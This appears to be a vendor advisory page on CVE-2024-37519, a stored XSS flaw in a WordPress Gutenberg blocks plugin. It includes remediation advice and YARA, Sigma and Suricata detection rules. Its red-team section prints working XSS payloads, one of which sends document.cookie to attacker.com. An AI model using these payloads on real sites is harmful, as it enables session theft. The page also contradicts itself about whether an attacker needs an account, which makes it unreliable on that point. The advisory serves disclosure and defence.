CVE-2024-37519
Executive Summary
CVE-2024-37519 is a stored Cross-Site Scripting (XSS) vulnerability in the Premium Blocks – Gutenberg Blocks for WordPress plugin by Leap13, affecting versions up to and including 2.1.27. This vulnerability allows an unauthenticated attacker to inject arbitrary web scripts or HTML into pages generated by the plugin, which are then executed in the browser of any user viewing the compromised content. The flaw stems from improper neutralization of user-supplied input during web page generation. Given the widespread use of Gutenberg blocks in WordPress, this vulnerability poses a significant risk to site integrity and user privacy, potentially enabling session hijacking, defacement, or redirection to malicious sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site using the affected plugin version is exposed. The lack of a vendor patch means site administrators must rely on manual mitigation or removal of the plugin until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.5 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must visit a crafted page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for widespread impact on WordPress sites elevates the risk. The vulnerability requires user interaction, but in a WordPress context, this is easily achieved via social engineering or by injecting into commonly viewed pages.
Deep Dive & Mechanics
The vulnerability resides in the premium-blocks-for-gutenberg plugin, specifically in how it handles user input when rendering Gutenberg blocks. The plugin fails to sanitize or escape user-supplied data before outputting it into the HTML page. An attacker can inject malicious JavaScript or HTML into block attributes (e.g., titles, descriptions, or custom fields) that are later rendered on the frontend.
Attack Flow:
- An attacker identifies a WordPress site running the vulnerable plugin.
- The attacker submits a crafted payload (e.g.,
<script>alert('XSS')</script>) via a form or API endpoint that the plugin processes. - The payload is stored in the database without proper sanitization.
- When a user (including administrators) views the page containing the affected block, the payload executes in their browser.
- The attacker can then steal cookies, redirect users, or perform actions on behalf of the victim.
The vulnerability is classified as Stored XSS because the malicious script persists on the server and affects all visitors.
Vulnerable vs. Patched Code
Since no official patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.
Vulnerable Code (PHP):
function render_block($attributes) {
$title = $attributes['title'];
return "<div class='premium-block'>$title</div>";
}
Patched Code (Hypothetical):
function render_block($attributes) {
$title = esc_html($attributes['title']);
return "<div class='premium-block'>$title</div>";
}
The fix uses esc_html() to encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress instance with Premium Blocks for Gutenberg <= 2.1.27 installed and active.
- A user account with contributor-level access or higher (to create/edit posts with blocks).
Steps:
- Log in to WordPress and create a new post.
- Add a Premium Block (e.g., "Premium Heading").
- In the block's title field, inject the following payload:
<img src=x onerror=alert(document.cookie)> - Publish the post.
- Any visitor viewing the post will see an alert with their cookies.
Advanced Payload (Session Hijacking):
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual block content submissions containing
<script>,<img onerror>, oronloadattributes. - Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to
wp-admin/admin-ajax.phporwp-json/wp/v2/posts.
Hardening:
- Disable the plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.
Indicators of Compromise (IOCs)
File Indicators:
- Modified or suspicious entries in the
wp_poststable containing<script>tags. - Presence of the plugin file
/wp-content/plugins/premium-blocks-for-gutenberg/(version <= 2.1.27).
- Modified or suspicious entries in the
Network Indicators:
- Outbound HTTP requests to unknown domains from the WordPress server.
- Requests to
wp-admin/admin-ajax.phpwith suspicious block data.
Log Indicators:
- Web server logs showing requests with encoded XSS payloads in POST data.
- WordPress debug logs indicating failed sanitization attempts.
Detection Engineering
YARA Rule
rule CVE_2024_37519_XSS_Payload {
meta:
description = "Detects XSS payloads targeting Premium Blocks for Gutenberg"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-37519"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /<img[^>]*onerror\s*=/is
$xss3 = /<svg[^>]*onload\s*=/is
condition:
any of them
}
Sigma Rule
title: CVE-2024-37519 - Stored XSS in Premium Blocks for Gutenberg
id: 8a3f2c1e-5d7b-4a9f-8c2e-1b3d4e5f6a7b
status: experimental
description: Detects stored XSS attempts via Premium Blocks plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=premium_blocks_save'
sc-status: 200
keywords:
- '<script'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in block content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37519 - Stored XSS Payload in Premium Blocks"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=premium_blocks_save"; http_client_body; pcre:"/(<script|<img[^>]*onerror|<svg[^>]*onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete
premium-blocks-for-gutenberguntil a patched version is released. - Scan for compromise – Check
wp_postsandwp_postmetafor injected scripts. Use the YARA rule above. - Rotate credentials – If any admin sessions were compromised, rotate all WordPress admin passwords and API keys.
Long-term Mitigation:
- Monitor the vendor's page for a patched version (>= 2.1.28).
- Implement a Web Application Firewall (WAF) with virtual patching for CVE-2024-37519.
- Enforce Content Security Policy (CSP) headers to block inline scripts.
Workaround (if plugin must remain active):
- Use a WordPress security plugin to add input sanitization for block attributes.
- Restrict user roles to prevent contributors from using Premium Blocks.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.